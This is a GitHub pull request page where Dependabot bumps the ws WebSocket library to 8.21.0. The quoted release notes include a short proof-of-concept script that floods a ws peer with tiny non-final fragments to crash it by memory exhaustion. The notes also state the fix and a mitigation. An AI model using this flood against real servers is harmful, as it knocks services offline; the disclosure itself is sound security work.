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build(deps): bump ws from 8.20.0 to 8.21.0 in /functions-templates/typescript/database-drizzle#8263

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build(deps): bump ws from 8.20.0 to 8.21.0 in /functions-templates/typescript/database-drizzle#8263
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dependabot/npm_and_yarn/functions-templates/typescript/database-drizzle/ws-8.20.1

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@dependabot dependabot Bot commented on behalf of github May 18, 2026

Bumps ws from 8.20.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • See full diff in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels May 18, 2026
@dependabot dependabot Bot requested a review from a team as a code owner May 18, 2026 20:32
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📊 Benchmark results

Comparing with dfcc0a2

  • Dependency count: 1,134 (no change)
  • Package size: 379 MB (no change)
  • Number of ts-expect-error directives: 355 (no change)

@dependabot dependabot Bot changed the title build(deps): bump ws from 8.20.0 to 8.20.1 in /functions-templates/typescript/database-drizzle build(deps): bump ws from 8.20.0 to 8.21.0 in /functions-templates/typescript/database-drizzle Jun 5, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/functions-templates/typescript/database-drizzle/ws-8.20.1 branch from d3b140a to face943 Compare June 5, 2026 23:22
Bumps [ws](https://github.com/websockets/ws) from 8.20.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/functions-templates/typescript/database-drizzle/ws-8.20.1 branch from face943 to c06136e Compare June 6, 2026 04:46
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